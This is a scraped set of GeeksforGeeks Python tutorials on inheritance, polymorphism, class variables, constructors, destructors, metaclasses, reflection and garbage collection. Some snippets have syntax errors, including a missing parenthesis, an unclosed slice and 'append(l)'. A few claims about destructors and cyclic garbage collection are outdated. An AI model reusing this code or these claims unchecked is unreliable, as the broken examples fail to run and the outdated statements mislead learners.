    d.printXY()
    Output:
    (10, 20)
    
  2. Using super()
    We can also access parent class members using super.




    # Python example to show that base
    # class members can be accessed in
    # derived class using super()
    class Base(object):
      
        # Constructor
        def __init__(self, x):
            self.x = x    
      
    class Derived(Base):
      
        # Constructor
        def __init__(self, x, y):
              
            ''' In Python 3.x, "super().__init__(name)"
                also works''' 
            super(Derived, self).__init__(x)
            self.y = y
      
        def printXY(self):
      
           # Note that Base.x won't work here
           # because super() is used in constructor
           print(self.x, self.y)
      
      
    # Driver Code
    d = Derived(10, 20)
    d.printXY()
    Output:
    (10, 20)
    

    Note that the above two methods are not exactly the same. In the next article on inheritance, we will covering following topics.
    1) How super works? How accessing a member through super and parent class name are different?
    2) How Diamond problem is handled in Python?

     

    Exercise:
    Predict the output of following Python programs




    1.    
      class X(object):
          def __init__(self, a):
              self.num = a
          def doubleup(self):
              self.num *= 2
        
      class Y(X):
          def __init__(self, a):
              X.__init__(self, a)
          def tripleup(self):
              self.num *= 3
        
      obj = Y(4)
      print(obj.num)
        
      obj.doubleup()
      print(obj.num)
        
      obj.tripleup()
      print(obj.num)
      Output:
      4
      8
      24
      



    2. # Base or Super class
      class Person(object):
          def __init__(self, name):
              self.name = name
                
          def getName(self):
              return self.name
            
          def isEmployee(self):
              return False
        
      # Inherited or Subclass (Note Person in bracket)
      class Employee(Person):
          def __init__(self, name, eid):
        
              ''' In Python 3.0+, "super().__init__(name)"
                  also works''' 
              super(Employee, self).__init__(name)
              self.empID = eid
                
          def isEmployee(self):
              return True
                
          def getID(self):
              return self.empID
        
      # Driver code
      emp = Employee("Geek1", "E101"
      print(emp.getName(), emp.isEmployee(), emp.getID())
      Output:
      ('Geek1', True, 'E101')
      

    This article is contributed by Shwetanshu Rohatgi and Mayank Rawat. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


    My Personal Notes arrow_drop_up

Polymorphism in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 04 Aug, 2021

What is Polymorphism: The word polymorphism means having many forms. In programming, polymorphism means the same function name (but different signatures) being used for different types.
Example of inbuilt polymorphic functions : 
 

Python3




# Python program to demonstrate in-built poly-
# morphic functions
 
# len() being used for a string
print(len("geeks"))
 
# len() being used for a list
print(len([10, 20, 30]))
Output: 
5
3

 

Examples of user-defined polymorphic functions : 
 

Python3




# A simple Python function to demonstrate
# Polymorphism
 
def add(x, y, z = 0):
    return x + y+z
 
# Driver code
print(add(2, 3))
print(add(2, 3, 4))
Output: 
5
9

 

Polymorphism with class methods: 
The below code shows how Python can use two different class types, in the same way. We create a for loop that iterates through a tuple of objects. Then call the methods without being concerned about which class type each object is. We assume that these methods actually exist in each class. 
 

Python3




class India():
    def capital(self):
        print("New Delhi is the capital of India.")
 
    def language(self):
        print("Hindi is the most widely spoken language of India.")
 
    def type(self):
        print("India is a developing country.")
 
class USA():
    def capital(self):
        print("Washington, D.C. is the capital of USA.")
 
    def language(self):
        print("English is the primary language of USA.")
 
    def type(self):
        print("USA is a developed country.")
 
obj_ind = India()
obj_usa = USA()
for country in (obj_ind, obj_usa):
    country.capital()
    country.language()
    country.type()
Output: 
New Delhi is the capital of India.
Hindi is the most widely spoken language of India.
India is a developing country.
Washington, D.C. is the capital of USA.
English is the primary language of USA.
USA is a developed country.

 

 
Polymorphism with Inheritance: 
In Python, Polymorphism lets us define methods in the child class that have the same name as the methods in the parent class. In inheritance, the child class inherits the methods from the parent class. However, it is possible to modify a method in a child class that it has inherited from the parent class. This is particularly useful in cases where the method inherited from the parent class doesn’t quite fit the child class. In such cases, we re-implement the method in the child class. This process of re-implementing a method in the child class is known as Method Overriding
 

Python3




class Bird:
  def intro(self):
    print("There are many types of birds.")
     
  def flight(self):
    print("Most of the birds can fly but some cannot.")
   
class sparrow(Bird):
  def flight(self):
    print("Sparrows can fly.")
     
class ostrich(Bird):
  def flight(self):
    print("Ostriches cannot fly.")
     
obj_bird = Bird()
obj_spr = sparrow()
obj_ost = ostrich()
 
obj_bird.intro()
obj_bird.flight()
 
obj_spr.intro()
obj_spr.flight()
 
obj_ost.intro()
obj_ost.flight()
Output: 
There are many types of birds.
Most of the birds can fly but some cannot.
There are many types of birds.
Sparrows can fly.
There are many types of birds.
Ostriches cannot fly.

 

 
Polymorphism with a Function and objects: 
It is also possible to create a function that can take any object, allowing for polymorphism. In this example, let’s create a function called “func()” which will take an object which we will name “obj”. Though we are using the name ‘obj’, any instantiated object will be able to be called into this function. Next, let’s give the function something to do that uses the ‘obj’ object we passed to it. In this case, let’s call the three methods, viz., capital(), language() and type(), each of which is defined in the two classes ‘India’ and ‘USA’. Next, let’s create instantiations of both the ‘India’ and ‘USA’ classes if we don’t have them already. With those, we can call their action using the same func() function: 
 

Python3




def func(obj):
    obj.capital()
    obj.language()
    obj.type()
  
obj_ind = India()
obj_usa = USA()
  
func(obj_ind)
func(obj_usa)

  
Code: Implementing Polymorphism with a Function 
 

Python3




class India():
    def capital(self):
        print("New Delhi is the capital of India.")
  
    def language(self):
        print("Hindi is the most widely spoken language of India.")
  
    def type(self):
        print("India is a developing country.")
  
class USA():
    def capital(self):
        print("Washington, D.C. is the capital of USA.")
  
    def language(self):
        print("English is the primary language of USA.")
  
    def type(self):
        print("USA is a developed country.")
 
def func(obj):
    obj.capital()
    obj.language()
    obj.type()
  
obj_ind = India()
obj_usa = USA()
  
func(obj_ind)
func(obj_usa)
Output: 
New Delhi is the capital of India.
Hindi is the most widely spoken language of India.
India is a developing country.
Washington, D.C. is the capital of USA.
English is the primary language of USA.
USA is a developed country.

 


My Personal Notes arrow_drop_up

Class or Static Variables in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 03 Aug, 2021

All objects share class or static variables. An instance or non-static variables are different for different objects (every object has a copy). For example, let a Computer Science Student be represented by class CSStudent. The class may have a static variable whose value is “cse” for all objects. And class may also have non-static members like name and roll. In C++ and Java, we can use static keywords to make a variable a class variable. The variables which don’t have a preceding static keyword are instance variables. See this for the Java example and this for the C++ example.
The Python approach is simple; it doesn’t require a static keyword. 

All variables which are assigned a value in the class declaration are class variables. And variables that are assigned values inside methods are instance variables.
 

Python




# Python program to show that the variables with a value
# assigned in class declaration, are class variables
 
# Class for Computer Science Student
class CSStudent:
    stream = 'cse'                  # Class Variable
    def __init__(self,name,roll):
        self.name = name            # Instance Variable
        self.roll = roll            # Instance Variable
 
# Objects of CSStudent class
a = CSStudent('Geek', 1)
b = CSStudent('Nerd', 2)
 
print(a.stream)  # prints "cse"
print(b.stream)  # prints "cse"
print(a.name)    # prints "Geek"
print(b.name)    # prints "Nerd"
print(a.roll)    # prints "1"
print(b.roll)    # prints "2"
 
# Class variables can be accessed using class
# name also
print(CSStudent.stream) # prints "cse"
 
# Now if we change the stream for just a it won't be changed for b
a.stream = 'ece'
print(a.stream) # prints 'ece'
print(b.stream) # prints 'cse'
 
# To change the stream for all instances of the class we can change it
# directly from the class
CSStudent.stream = 'mech'
 
print(a.stream) # prints 'ece'
print(b.stream) # prints 'mech'

Output: 

cse
cse
Geek
Nerd
1
2
cse
ece
cse
ece
mech

This article is contributed by Harshit Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Class method vs Static method in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 24 Aug, 2021

Class Method

The @classmethod decorator is a built-in function decorator that is an expression that gets evaluated after your function is defined. The result of that evaluation shadows your function definition. 
A class method receives the class as an implicit first argument, just like an instance method receives the instance 
Syntax: 

class C(object):
    @classmethod
    def fun(cls, arg1, arg2, ...):
       ....
fun: function that needs to be converted into a class method
returns: a class method for function.

Static Method

A static method does not receive an implicit first argument. 

Syntax: 

class C(object):
    @staticmethod
    def fun(arg1, arg2, ...):
        ...
returns: a static method for function fun.

Class method vs Static Method

When to use what?

How to define a class method and a static method?

To define a class method in python, we use @classmethod decorator, and to define a static method we use @staticmethod decorator. 
Let us look at an example to understand the difference between both of them. Let us say we want to create a class Person. Now, python doesn’t support method overloading like C++ or Java so we use class methods to create factory methods. In the below example we use a class method to create a person object from birth year.
As explained above we use static methods to create utility functions. In the below example we use a static method to check if a person is an adult or not. 
 

Implementation 

Python3




# Python program to demonstrate
# use of class method and static method.
from datetime import date
  
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age
      
    # a class method to create a Person object by birth year.
    @classmethod
    def fromBirthYear(cls, name, year):
        return cls(name, date.today().year - year)
      
    # a static method to check if a Person is adult or not.
    @staticmethod
    def isAdult(age):
        return age > 18
  
person1 = Person('mayank', 21)
person2 = Person.fromBirthYear('mayank', 1996)
  
print (person1.age)
print (person2.age)
  
# print the result
print (Person.isAdult(22))

Output:

21
25
True

This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Changing Class Members in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 14 Dec, 2021

In the previous fact, we have seen that Python doesn’t have the static keyword. All variables that are assigned a value in the class declaration are class variables.

We should be careful when changing the value of a class variable. If we try to change a class variable using an object, a new instance (or non-static) variable for that particular object is created and this variable shadows the class variables. Below is a Python program to demonstrate the same.

Python3




# Class for Computer Science Student
class CSStudent:
    stream = 'cse'     # Class Variable
    def __init__(self, name, roll):
        self.name = name
        self.roll = roll
 
# Driver program to test the functionality
# Creating objects of CSStudent class
a = CSStudent("Geek", 1)
b = CSStudent("Nerd", 2)
 
print ("Initially")
print ("a.stream =", a.stream )
print ("b.stream =", b.stream )
 
# This thing doesn't change class(static) variable
# Instead creates instance variable for the object
# 'a' that shadows class member.
a.stream = "ece"
 
print ("\nAfter changing a.stream")
print ("a.stream =", a.stream )
print ("b.stream =", b.stream )

Output: 

Initially
a.stream = cse
b.stream = cse

After changing a.stream
a.stream = ece
b.stream = cse

We should change class variables using class names only. 

Python3




# Program to show how to make changes to the
# class variable in Python
 
# Class for Computer Science Student
class CSStudent:
    stream = 'cse'     # Class Variable
    def __init__(self, name, roll):
        self.name = name
        self.roll = roll
 
# New object for further implementation
a = CSStudent("check", 3)
print "a.stream =", a.stream
 
# Correct way to change the value of class variable
CSStudent.stream = "mec"
print "\nClass variable changes to mec"
 
# New object for further implementation
b = CSStudent("carter", 4)
 
print "\nValue of variable steam for each object"
print "a.stream =", a.stream
print "b.stream =", b.stream

Output: 

a.stream = cse

Class variable changes to mec

Value of variable steam for each object
a.stream = mec
b.stream = mec

This article is contributed by Nikhil Kumar Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
 


My Personal Notes arrow_drop_up

Constructors in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 10 Aug, 2021

Prerequisites: Object-Oriented Programming in Python, Object-Oriented Programming in Python | Set 2 
Constructors are generally used for instantiating an object. The task of constructors is to initialize(assign values) to the data members of the class when an object of the class is created. In Python the __init__() method is called the constructor and is always called when an object is created.
Syntax of constructor declaration : 

def __init__(self):
    # body of the constructor

Types of constructors : 

Example of default constructor : 
 

Python3




class GeekforGeeks:
 
    # default constructor
    def __init__(self):
        self.geek = "GeekforGeeks"
 
    # a method for printing data members
    def print_Geek(self):
        print(self.geek)
 
 
# creating object of the class
obj = GeekforGeeks()
 
# calling the instance method using the object obj
obj.print_Geek()

Output : 

GeekforGeeks

Example of the parameterized constructor : 

Python3




class Addition:
    first = 0
    second = 0
    answer = 0
     
    # parameterized constructor
    def __init__(self, f, s):
        self.first = f
        self.second = s
     
    def display(self):
        print("First number = " + str(self.first))
        print("Second number = " + str(self.second))
        print("Addition of two numbers = " + str(self.answer))
 
    def calculate(self):
        self.answer = self.first + self.second
 
# creating object of the class
# this will invoke parameterized constructor
obj = Addition(1000, 2000)
 
# perform Addition
obj.calculate()
 
# display result
obj.display()

Output : 

First number = 1000
Second number = 2000
Addition of two numbers = 3000

 


My Personal Notes arrow_drop_up

Destructors in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 21 Jan, 2022

Constructors in Python
Destructors are called when an object gets destroyed. In Python, destructors are not needed as much as in C++ because Python has a garbage collector that handles memory management automatically. 
The __del__() method is a known as a destructor method in Python. It is called when all references to the object have been deleted i.e when an object is garbage collected. 
Syntax of destructor declaration : 
 

def __del__(self):
  # body of destructor

Note : A reference to objects is also deleted when the object goes out of reference or when the program ends. 
Example 1 : Here is the simple example of destructor. By using del keyword we deleted the all references of object ‘obj’, therefore destructor invoked automatically.
 

Python3




# Python program to illustrate destructor
class Employee:
 
    # Initializing
    def __init__(self):
        print('Employee created.')
 
    # Deleting (Calling destructor)
    def __del__(self):
        print('Destructor called, Employee deleted.')
 
obj = Employee()
del obj
Output: 
Employee created.
Destructor called, Employee deleted.

 

Note : The destructor was called after the program ended or when all the references to object are deleted i.e when the reference count becomes zero, not when object went out of scope.
Example 2 :This example gives the explanation of above mentioned note. Here, notice that the destructor is called after the ‘Program End…’ printed.
 

Python3




# Python program to illustrate destructor
 
class Employee:
 
    # Initializing
    def __init__(self):
        print('Employee created')
 
    # Calling destructor
    def __del__(self):
        print("Destructor called")
 
def Create_obj():
    print('Making Object...')
    obj = Employee()
    print('function end...')
    return obj
 
print('Calling Create_obj() function...')
obj = Create_obj()
print('Program End...')
Output: 
Calling Create_obj() function...
Making Object...
Employee created
function end...
Program End...
Destructor called

 

Example 3 : Now, consider the following example : 
 

Python3




# Python program to illustrate destructor
 
class A:
    def __init__(self, bb):
        self.b = bb
 
class B:
    def __init__(self):
        self.a = A(self)
    def __del__(self):
        print("die")
 
def fun():
    b = B()
 
fun()
Output: 
die

 

In this example when the function fun() is called, it creates an instance of class B which passes itself to class A, which then sets a reference to class B and resulting in a circular reference.
Generally, Python’s garbage collector which is used to detect these types of cyclic references would remove it but in this example the use of custom destructor marks this item as “uncollectable”. 
Simply, it doesn’t know the order in which to destroy the objects, so it leaves them. Therefore, if your instances are involved in circular references they will live in memory for as long as the application run.
 


My Personal Notes arrow_drop_up

First Class functions in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 25 Nov, 2020


First class objects in a language are handled uniformly throughout. They may be stored in data structures, passed as arguments, or used in control structures. A programming language is said to support first-class functions if it treats functions as first-class objects. Python supports the concept of First Class functions.

Properties of first class functions:

Examples illustrating First Class functions in Python

1. Functions are objects: Python functions are first class objects. In the example below, we are assigning function to a variable. This assignment doesn’t call the function. It takes the function object referenced by shout and creates a second name pointing to it, yell.




# Python program to illustrate functions
# can be treated as objects
def shout(text):
    return text.upper()
  
print (shout('Hello'))
  
yell = shout
  
print (yell('Hello'))

Output:

HELLO
HELLO

2. Functions can be passed as arguments to other functions: Because functions are objects we can pass them as arguments to other functions. Functions that can accept other functions as arguments are also called higher-order functions. In the example below, we have created a function greet which takes a function as an argument.




# Python program to illustrate functions
# can be passed as arguments to other functions
def shout(text):
    return text.upper()
  
def whisper(text):
    return text.lower()
  
def greet(func):
    # storing the function in a variable
    greeting = func("""Hi, I am created by a function
                    passed as an argument.""")
    print (greeting) 
  
greet(shout)
greet(whisper)

Output

HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.

3. Functions can return another function: Because functions are objects we can return a function from another function. In the below example, the create_adder function returns adder function.




# Python program to illustrate functions
# Functions can return another function
  
def create_adder(x):
    def adder(y):
        return x+y
  
    return adder
  
add_15 = create_adder(15)
  
print (add_15(10))

Output:

25

This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Metaprogramming with Metaclasses in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 11 Oct, 2021

At first, the word Metaprogramming seems like a very funky and alien thing but if you have ever worked with decorators or metaclasses, you were doing metaprogramming there all along. In a nutshell, we can say metaprogramming is the code that manipulates code.
In this article, we are going to discuss Metaclasses, why and when we should use them, and what are the alternatives. This is a fairly advance Python topic and the following prerequisite is expected – 

Note: This article considers Python 3.3 and above 

Metaclasses

In Python, everything has some type associated with it. For example, if we have a variable having an integer value then its type is int. You can get the type of anything using the type() function. 

Python3




num = 23
print("Type of num is:", type(num))
 
lst = [1, 2, 4]
print("Type of lst is:", type(lst))
 
name = "Atul"
print("Type of name is:", type(name))

Output: 

Type of num is: <class 'int'>
Type of lst is: <class 'list'>
Type of name is: <class 'str'>

Every type in Python is defined by Class. So in the above example, unlike C++ or Java where int, char, float are primary data types, in Python they are objects of int class or str class. So we can make a new type by creating a class of that type. For example, we can create a new type of Student by creating a Student class. 

Python3




class Student:
    pass
stu_obj = Student()
 
# Print type of object of Student class
print("Type of stu_obj is:", type(stu_obj))

Output: 

Type of stu_obj is: <class '__main__.Student'>

A Class is also an object, and just like any other object, it’s an instance of something called Metaclass. A special class type creates these Class objects. The type class is default metaclass which is responsible for making classes. In the above example, if we try to find out the type of Student class, it comes out to be a type

Python3




class Student:
    pass
 
# Print type of Student class
print("Type of Student class is:", type(Student))

Output: 

Type of Student class is: <class 'type'>

Because Classes are also an object, they can be modified in the same way. We can add or subtract fields or methods in class in the same way we did with other objects. For example – 

Python3




# Defined class without any
# class methods and variables
class test:pass
 
# Defining method variables
test.x = 45
 
# Defining class methods
test.foo = lambda self: print('Hello')
 
# creating object
myobj = test()
 
print(myobj.x)
myobj.foo()

Output: 

45
Hello

This whole meta thing can be summarized as – Metaclass create Classes and Classes creates objects 
 

The metaclass is responsible for the generation of classes, so we can write our custom metaclasses to modify the way classes are generated by performing extra actions or injecting code. Usually, we do not need custom metaclasses but sometimes it’s necessary. 
There are problems for which metaclass and non-metaclass-based solutions are available (which are often simpler) but in some cases, only metaclass can solve the problem. We will discuss such a problem in this article.

Creating custom Metaclass

To create our custom metaclass, our custom metaclass has to inherit type metaclass and usually override – 

We can create classes using the type() function directly. It can be called in following ways – 

  1. When called with only one argument, it returns the type. We have seen it before in the above examples.
  2. When called with three parameters, it creates a class. Following arguments are passed to it – 
    1. Class name
    2. Tuple having base classes inherited by class
    3. Class Dictionary: It serves as a local namespace for the class, populated with class methods and variables

Consider this example –  

Python3




def test_method(self):
    print("This is Test class method!")
 
# creating a base class
class Base:
    def myfun(self):
        print("This is inherited method!")
 
# Creating Test class dynamically using
# type() method directly
Test = type('Test', (Base, ), dict(x="atul", my_method=test_method))
 
# Print type of Test
print("Type of Test class: ", type(Test))
 
# Creating instance of Test class
test_obj = Test()
print("Type of test_obj: ", type(test_obj))
 
# calling inherited method
test_obj.myfun()
 
# calling Test class method
test_obj.my_method()
 
# printing variable
print(test_obj.x)

Output: 

Type of Test class:  <class 'type'>
Type of test_obj:  <class '__main__.Test'>
This is inherited method!
This is Test class method!
atul

Now let’s create a metaclass without using type() directly. In the following example, we will be creating a metaclass MultiBases which will check if the class being created has inherited from more than one base class. If so, it will raise an error. 

Python3




# our metaclass
class MultiBases(type):
    # overriding __new__ method
    def __new__(cls, clsname, bases, clsdict):
        # if no of base classes is greater than 1
        # raise error
        if len(bases)>1:
            raise TypeError("Inherited multiple base classes!!!")
         
        # else execute __new__ method of super class, ie.
        # call __init__ of type class
        return super().__new__(cls, clsname, bases, clsdict)
 
# metaclass can be specified by 'metaclass' keyword argument
# now MultiBase class is used for creating classes
# this will be propagated to all subclasses of Base
class Base(metaclass=MultiBases):
    pass
 
# no error is raised
class A(Base):
    pass
 
# no error is raised
class B(Base):
    pass
 
# This will raise an error!
class C(A, B):
    pass

Output: 

Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
  File "<stdin>", line 8, in __new__
TypeError: Inherited multiple base classes!!!

Solving problems with metaclass

There are some problems which can be solved by decorators (easily) as well as by metaclasses. But there are a few problems whose results can only be achieved by metaclasses. For example, consider a very simple problem of code repetition. 
We want to debug class methods, what we want is that whenever the class method executes, it should print its fully qualified name before executing its body.

The very first solution that comes to our mind is using method decorators, following is the sample code – 

Python3




from functools import wraps
 
def debug(func):
    '''decorator for debugging passed function'''
     
    @wraps(func)
    def wrapper(*args, **kwargs):
        print("Full name of this method:", func.__qualname__)
        return func(*args, **kwargs)
    return wrapper
 
def debugmethods(cls):
    '''class decorator make use of debug decorator
       to debug class methods '''
     
    # check in class dictionary for any callable(method)
    # if exist, replace it with debugged version
    for key, val in vars(cls).items():
        if callable(val):
            setattr(cls, key, debug(val))
    return cls
 
# sample class
@debugmethods
class Calc:
    def add(self, x, y):
        return x+y
    def mul(self, x, y):
        return x*y
    def div(self, x, y):
        return x/y
     
mycal = Calc()
print(mycal.add(2, 3))
print(mycal.mul(5, 2))

Output: 

Full name of this method: Calc.add
5
Full name of this method: Calc.mul
10

This solution works fine but there is one problem, what if we want to apply this method decorator to all subclasses which inherit this Calc class. In that case, we have to separately apply the method decorator to every subclass just like we did with the Calc class.
The problem is if we have many such subclasses, then in that case we won’t like adding a decorator to each one separately. If we know beforehand that every subclass must have this debug property, then we should look up to the metaclass-based solution.
Have a look at this metaclass based solution, the idea is that classes will be created normally and then immediately wrapped up by debug method decorator – 

Python3




from functools import wraps
 
def debug(func):
    '''decorator for debugging passed function'''
     
    @wraps(func)
    def wrapper(*args, **kwargs):
        print("Full name of this method:", func.__qualname__)
        return func(*args, **kwargs)
    return wrapper
 
def debugmethods(cls):
    '''class decorator make use of debug decorator
       to debug class methods '''
     
    for key, val in vars(cls).items():
        if callable(val):
            setattr(cls, key, debug(val))
    return cls
 
class debugMeta(type):
    '''meta class which feed created class object
       to debugmethod to get debug functionality
       enabled objects'''
     
    def __new__(cls, clsname, bases, clsdict):
        obj = super().__new__(cls, clsname, bases, clsdict)
        obj = debugmethods(obj)
        return obj
     
# base class with metaclass 'debugMeta'
# now all the subclass of this
# will have debugging applied
class Base(metaclass=debugMeta):pass
 
# inheriting Base
class Calc(Base):
    def add(self, x, y):
        return x+y
     
# inheriting Calc
class Calc_adv(Calc):
    def mul(self, x, y):
        return x*y
 
# Now Calc_adv object showing
# debugging behaviour
mycal = Calc_adv()
print(mycal.mul(2, 3))

Output: 

Full name of this method: Calc_adv.mul
6

When to use Metaclasses

Most of the time we do not use metaclasses, it’s usually used for something complicated, but a few cases where we use metaclasses are – 

As quoted by Tim Peters 

Metaclasses are deeper magic that 99% of users should never worry about. If you wonder whether you need them, you don’t (the people who actually need them know with certainty that they need them, and don’t need an explanation about why). 

References

This article is contributed by Atul Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Class and Instance Attributes in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 20 Apr, 2020

Class attributes

Class attributes belong to the class itself they will be shared by all the instances. Such attributes are defined in the class body parts usually at the top, for legibility.




# Write Python code here
class sampleclass:
    count = 0     # class attribute
  
    def increase(self):
        sampleclass.count += 1
  
# Calling increase() on an object
s1 = sampleclass()
s1.increase()        
print(s1.count)
  
# Calling increase on one more
# object
s2 = sampleclass()
s2.increase()
print(s2.count)
  
print(sampleclass.count)

Output:

1              
2                           
2

Instance Attributes

Unlike class attributes, instance attributes are not shared by objects. Every object has its own copy of the instance attribute (In case of class attributes all object refer to single copy).

To list the attributes of an instance/object, we have two functions:-
1. vars()– This function displays the attribute of an instance in the form of an dictionary.
2. dir()– This function displays more attributes than vars function,as it is not limited to instance. It displays the class attributes as well. It also displays the attributes of its ancestor classes.




# Python program to demonstrate
# instance attributes.
class emp:
    def __init__(self):
        self.name = 'xyz'
        self.salary = 4000
  
    def show(self):
        print(self.name)
        print(self.salary)
  
e1 = emp()
print("Dictionary form :", vars(e1))
print(dir(e1))

Output :

Dictionary form :{'salary': 4000, 'name': 'xyz'}
['__doc__', '__init__', '__module__', 'name', 'salary', 'show']

This article is contributed by Harsh Valecha. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

reflection in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 17 Nov, 2020

Reflection refers to the ability for code to be able to examine attributes about objects that might be passed as parameters to a function. For example, if we write type(obj) then Python will return an object which represents the type of obj.

Using reflection, we can write one recursive reverse function that will work for strings, lists, and any other sequence that supports slicing and concatenation. If an obj is a reference to a string, then Python will return the str type object. Further, if we write str() we get a string which is the empty string. In other words, writing str() is the same thing as writing “”. Likewise, writing list() is the same thing as writing [].




# Python program to illustrate reflection 
def reverse(sequence): 
    sequence_type = type(sequence) 
    empty_sequence = sequence_type() 
      
    if sequence == empty_sequence: 
        return empty_sequence 
      
    rest = reverse(sequence[1:]) 
    first_sequence = sequence[0:1
      
    # Combine the result 
    final_result = rest + first_sequence
      
    return final_result 
  
# Driver code 
print(reverse([10, 20, 30, 40])) 
print(reverse("GeeksForGeeks")) 

Output:

[40, 30, 20, 10]
skeeGroFskeeG

Reflection-enabling functions

Reflection-enabling functions include type(), isinstance(), callable(), dir() and getattr().

  1. type and isinstance – Refer here
  2. Callable() :A callable means anything that can be called. For an object, determines whether it can be called. A class can be made callable by providing a __call__() method. The callable() method returns True if the object passed appears callable. If not, it returns False.
    Examples:
    x = 5
    
    def testFunction():
      print("Test")
       
    y = testFunction
    
    if (callable(x)):
        print("x is callable")
    else:
        print("x is not callable")
    
    if (callable(y)):
        print("y is callable")
    else:
        print("y is not callable")
    

    Output:

    x is not callable
    y is callable

    callable when used in OOP

    class Foo1:
      def __call__(self):
        print('Print Something')
    
    print(callable(Foo1))
    

    Output:

    True
  3. Dir : The dir() method tries to return a list of valid attributes of the object. The dir() tries to return a list of valid attributes of the object.
        If the object has __dir__() method, the method will be called and must return the list of attributes.
        If the object doesn’t have __dir()__ method, this method tries to find information from the __dict__ attribute (if defined), and from type object. In this case, the list returned from dir() may not be complete.

    Examples:

    number = [1,2,3]
    print(dir(number))
    
    characters = ["a", "b"]
    print(dir(number))

    Output:

  4. Getattr : The getattr() method returns the value of the named attribute of an object. If not found, it returns the default value provided to the function.The getattr method takes three parameters object, name and default(optional).
    class Employee:
        salary = 25000
        company_name= "geeksforgeeks"
    
    employee = Employee()
    print('The salary is:', getattr(employee, "salary"))
    print('The salary is:', employee.salary)

    Output:

    The salary is: 25000
    The salary is: 25000

    Reference links
    2. docs_python
    3. wikibooks

    This article is contributed by Subhajit Saha. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

  5. Garbage Collection in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 24 Aug, 2021

    Python’s memory allocation and deallocation method is automatic. The user does not have to preallocate or deallocate memory similar to using dynamic memory allocation in languages such as C or C++. 
    Python uses two strategies for memory allocation: 

    Prior to Python version 2.0, the Python interpreter only used reference counting for memory management. Reference counting works by counting the number of times an object is referenced by other objects in the system. When references to an object are removed, the reference count for an object is decremented. When the reference count becomes zero, the object is deallocated. Ex- 

    Python




    # Literal 9 is an object
    b = 9
     
    # Reference count of object 9
    # becomes 0.
    b = 4

    The literal value 9 is an object. The reference count of object 9 is incremented to 1 in line 1. In line 2 its reference count becomes zero as it is dereferenced. So garbage collector deallocates the object.
    A reference cycle is created when there is no way the reference count of the object can reach. Reference cycles involving lists, tuples, instances, classes, dictionaries, and functions are common. The easiest way to create a reference cycle is to create an object which refers to itself as in the example below: 

    Python




    def create_cycle():
     
        # create a list x
        x = [ ]
     
        # A reference cycle is created
        # here as x contains reference to
        # to self.
        x.append(x)
      
    create_cycle()

    Because create_cycle() creates an object x which refers to itself, the object x will not automatically be freed when the function returns. This will cause the memory that x is using to be held onto until the Python garbage collector is invoked.

    Ways to make an object eligible for garbage collection

    Python




    x = []
    x.append(l)
    x.append(2)
     
    # delete the list from memory or
    # assigning object x to None(Null)
    del x
    # x = None

    The reference count for the list created is now two. However, since it cannot be reached from inside Python and cannot possibly be used again, it is considered garbage. In the current version of Python, this list is never freed. 
     

    Automatic Garbage Collection of Cycles

    Because reference cycles take computational work to discover, garbage collection must be a scheduled activity. Python schedules garbage collection based upon a threshold of object allocations and object deallocations. When the number of allocations minus the number of deallocations is greater than the threshold number, the garbage collector is run. One can inspect the threshold for new objects (objects in Python known as generation 0 objects) by importing the gc module and asking for garbage collection thresholds: 
     

    Python




    # loading gc
    import gc
     
    # get the current collection
    # thresholds as a tuple
    print("Garbage collection thresholds:",
                        gc.get_threshold())

    Output: 

    Garbage collection thresholds: (700, 10, 10) 

